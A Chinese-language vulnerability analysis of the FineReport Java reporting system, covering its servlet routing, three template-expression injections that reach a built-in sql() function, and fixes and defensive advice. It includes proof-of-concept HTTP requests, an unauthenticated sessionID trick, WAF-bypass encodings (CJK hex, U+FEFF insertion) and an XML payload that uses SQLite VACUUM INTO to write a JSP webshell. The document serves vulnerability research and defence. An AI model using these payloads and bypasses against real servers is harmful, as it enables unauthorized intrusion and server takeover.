帆软报表FineReport历史漏洞分析(一)
字数 5203
更新时间 2026-03-18 14:21:46

帆软报表FineReport历史漏洞分析教学文档

1. 项目概述与调试准备

1.1 项目结构
帆软报表FineReport是一个Java Web报表系统,其核心目录结构如下:

  • bin/: 包含启动脚本(如designer.vmoptions)。
  • jre/: Java运行环境(版本通常为8u191)。
  • server/: 包含Tomcat服务器相关依赖。
  • webapps/webroot/WEB-INF/lib/: 存放服务器核心JAR文件,版本更新和漏洞分析主要关注此目录。
  • webapps/webroot/help/: 包含默认的测试数据库(SQLite)。
  • plugins/: 存放插件。

1.2 调试环境搭建

  1. 远程调试: 在bin/designer.vmoptions文件中添加远程调试参数(如-agentlib:jdwp=...)。
  2. 行号信息: 使用工具(如ClassLinefix)为WEB-INF/lib下的JAR文件添加行号信息,以便在IDE中准确调试。
  3. 库配置: 将服务器JAR和Tomcat的JAR添加到IDE的库依赖中。
  4. 断点验证: 在关键类(如com.fr.third.springframework.web.servlet.DispatcherServlet#doDispatch)设置断点,访问http://localhost:8075/webroot/decision/system/info测试是否成功断住。

1.3 版本识别

  • 方法1: 访问http://{host}:{port}/webroot/decision/system/info,查看返回信息。
  • 方法2: 访问http://{host}:{port}/webroot/decision/login,查看网页源代码中的版本信息。
  • 官方文档: 历史版本和补丁信息可查阅官方文档。

2. 核心机制分析

2.1 Servlet注册逻辑
Servlet(如ReportServlet)的注册不依赖web.xml,而是通过activator机制。

  1. 启动入口: 容器启动时,会调用com.fr.startup.FineWebApplicationInitializer#onStartup
  2. 模块加载: 框架解析配置文件com/fr/config/starter/server-startup.xml,其中定义了各个模块的activator类。
  3. 实例化与启动: 通过反射创建activator实例(如ReportActivator),并调用其start()方法。
  4. Servlet注册: 在activatorstart()方法中(例如ReportActivator#initReportServlet),通过ServletContext的原生API(addServlet)完成Servlet的注册,并指定映射路径(如/ReportServer/*)。

2.2 路由分析
系统存在两套主要请求处理入口:

  1. Servlet入口: 以/webroot/ReportServer开头的请求,由ReportServlet处理,最终进入com.fr.web.core.ReportDispatcher#dealWithRequest。此路径不过Spring Interceptor,可能绕过部分鉴权。
  2. Spring MVC入口: 以/webroot/decision开头的请求,由Spring的DispatcherServlet处理,经过完整的Spring MVC流程(包括Interceptor),最终也可能路由到ReportDispatcher#dealWithRequest

获取完整路由映射的方法:

  • 在调试环境中,于HttpServletRequest参数相关方法内执行表达式代码,可导出所有Servlet映射。
  • 在Spring MVC上下文中,可从RequestMappingHandlerMapping中获取所有Controller的映射关系。

3. 漏洞原理与利用分析

漏洞的根本原因在于模板表达式注入。FineReport内置了${...}表达式解析功能,并提供了sql()等函数。当用户可控的输入(如参数、SessionID)被拼接进待解析的字符串并最终交给TemplateUtils.render()等方法处理时,攻击者注入的表达式(如${sql(...)})就会被执行,导致SQL注入。

3.1 漏洞一:/print/ie/pdf SQL注入写文件 (CVE-2023-...)

  • 影响版本: 11.0 <= version < 11.0.24
  • 漏洞路由: GET /webroot/decision/nx/report/v9/print/ie/pdf
  • 漏洞分析:
    1. 入口: 请求由NXController.pdfPrintForIEV9处理,最终调用PDFPrintPrintForIEHandler.handleRequest
    2. 参数获取: 从HTTP Header中获取sessionID参数,经过NetworkHelper.getHTTPRequestEncodeParameter处理。
    3. 关键处理: 该函数会对输入进行CJK解码(将[41][42]格式的十六进制转回字符)和URL解码。这常被用于绕过WAF。
    4. 注入点: 攻击者控制的sessionID值经过字符串拼接,传入TemplateUtils.render()进行解析。如果sessionID包含${sql(...)}表达式,其中的SQL语句将被执行。
    5. SQL函数: sql(datasource_name, sql_statement, ...)函数用于执行SQL查询。默认存在FRDemo这个SQLite数据源。
    6. 利用目标: 通过SQLite的ATTACH DATABASECREATE TABLEINSERT语句,将恶意内容写入JSP文件,从而获取WebShell。
  • WAF绕过技巧:
    1. CJK编码: 将载荷转换为[HEX][HEX]格式。
    2. URL编码: 结合FineReport内置的DECODE()函数进行URL解码。
    3. 零宽度空格(U+FEFF)绕过SQL黑名单: 在SQL关键字前添加%EF%BB%BF(U+FEFF的URL编码),在解析时该字符被移除,但WAF检测的关键字(如" ATTACH ")因前后缺少空格而绕过检查。
  • POC示例:
    GET /webroot/decision/nx/report/v9/print/ie/pdf HTTP/1.1
    Host: 127.0.0.1:8075
    sessionID: {{urlesc(${sql('FRDemo','SELECT sqlite_version()',1)})}}
    
  • 修复方案:
    1. sessionID参数进行有效性校验,禁止恶意表达式。
    2. 在SQL语句安全检测中,增加了对U+FEFF字符的过滤处理。

3.2 漏洞二:/view/ReportServer? SQL注入写文件

  • 影响版本: 11.0.1 <= FineReport <= 11.0.28
  • 漏洞路由: GET /webroot/decision/view/ReportServer?...
  • 漏洞分析:
    1. 入口: 请求由ReportServlet处理,最终进入ReportNoSessionDispatcer.doPost
    2. 参数获取: 通过request.getQueryString()直接获取未经解码的原始查询字符串。
    3. 注入点: 查询字符串被直接拼接到模板字符串中进行解析。由于Tomcat对URL有字符限制,需利用DECODE()函数对载荷进行编码。
    4. 利用链: 与漏洞一类似,利用SQLite写文件。同样可借助U+FEFF绕过早期版本的黑名单检测。
  • POC思路:
    GET /webroot/decision/view/ReportServer?${sql('FRDemo',DECODE('%EF%BB%BFATTACH%20...'),1,1)} HTTP/1.1
    
  • 修复方案: 修改逻辑,不再对request.getQueryString()获取的参数进行模板渲染。

3.3 漏洞三:export/excel SQL注入写WebShell

  • 影响版本: 影响多个版本,具体需参考官方公告。
  • 漏洞路由: GET /webroot/decision/nx/report/v9/largedataset/export/excel
  • 前置条件: 该接口需要有效的sessionID
  • SessionID获取:
    • 早期方法: /webroot/decision/view/report?op=getSessionID&reportlets=[{'reportlet':'/'}]
    • 后期方法 (绕过Interceptor): /webroot/decision/view/report?op=getSessionID&viewlets=[{'reportlet':'/'}]。此请求可由ReportGeneralRequestChecker处理,其checkRequest默认返回true
    • 直接访问: 直接访问/webroot/ReportServer?op=getSessionID&...可绕过Interceptor,但需注意参数格式。
  • 漏洞分析:
    1. 入口: 请求由LargeDataSetExportController.exportExcelV9处理。
    2. 参数解析: 请求体中的params参数是一个XML字符串,其中定义了ParametersLargeDatasetExcelExportJS结构。Parametervalue可通过t="Formula"指定为一个表达式。
    3. 注入点: XML解析后,表达式(如sql(...))被提取并交由Calculator计算执行。
    4. 利用链: 利用SQLite的VACUUM INTO语句将整个数据库写入JSP文件。为生成干净的WebShell,需要先清空或备份原数据库。
  • 新版SQL黑名单变化: 在后续修复中,CREATEDROP等关键字被移出黑名单,但VACUUM被加入。
  • POC结构:
    <R>
      <Parameters>
        <Parameter>
          <Attributes name="p1"/>
          <Object t="Formula">
            <!-- 备份原数据库 -->
            <Attributes>sql('FRDemo', DECODE('VACUUM INTO \"./frdemo.db.bak\";'),1,1)</Attributes>
          </Object>
        </Parameter>
        <Parameter>
          <Attributes name="p2"/>
          <Object t="Formula">
            <!-- 清空sqlite_master,准备写入新数据 -->
            <Attributes>sql('FRDemo',DECODE('PRAGMA writable_schema=1; DELETE FROM sqlite_master;'),1,1)</Attributes>
          </Object>
        </Parameter>
        <Parameter>
          <Attributes name="p3"/>
          <Object t="Formula">
            <!-- 创建表并插入WebShell内容,最后用VACUUM INTO写出 -->
            <Attributes>sql('FRDemo',DECODE('CREATE TABLE t(p text); REPLACE INTO t VALUES(''<% ... %>'); VACUUM INTO \"../webapps/webroot/shell.jsp\";'),1,1)</Attributes>
          </Object>
        </Parameter>
      </Parameters>
      <LargeDatasetExcelExportJS dsName="ds1" ... />
    </R>
    
    HTTP请求需将上述XML进行URL编码后放入params参数,并携带有效的sessionID
  • 修复方案:
    1. 在SQL黑名单中加入了VACUUM关键字。
    2. 加强了sessionID的获取鉴权逻辑,ReportGeneralRequestChecker的检查列表不再为空,阻止了未授权获取。

4. 通用利用与防御要点

4.1 利用链关键点

  1. 表达式注入: 寻找用户输入点,其值最终会进入TemplateUtils.render()或类似表达式解析函数。
  2. SQL函数: 利用sql(datasource_name, sql_statement, ...)函数执行任意SQL。
  3. 默认数据源: 利用内置的FRDemo (SQLite) 数据库。
  4. 文件写入: 利用SQLite的ATTACH DATABASE ... AS + CREATE TABLE ... AS SELECT 'shell'VACUUM INTO 语句写文件。
  5. JSP解析: 写入JSP文件后,需访问/webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class 来加载JSP解析器。

4.2 防御与修复建议

  1. 输入校验: 对所有用户输入的参数进行严格的白名单校验,特别是用于拼接模板表达式的参数。
  2. 禁用危险函数: 在生产环境中,应禁用或严格限制sql()等可执行数据库操作的表达式函数。
  3. 权限最小化: 运行FineReport的数据库用户应遵循最小权限原则,避免拥有文件写入权限。
  4. 安全更新: 及时关注官方安全公告并更新到已修复的版本。
  5. WAF规则: 部署WAF,针对${sql(ATTACHVACUUM INTO等关键字进行检测,并注意绕过手法的识别。

5. 后续研究方向

本文未详尽分析的漏洞方向包括:

  1. /remote/design/channel 反序列化漏洞及其多次绕过手法(涉及TreeBagHashMapImmutableSetMultimap等gadget)。
  2. FVS插件相关的漏洞。
  3. 任意文件读取漏洞。

附录:参考资源

  • 官方更新日志与安全公告
  • FineReport 设计器函数文档
  • 相关安全研究人员的技术分析文章
相似文章
相似文章
 全屏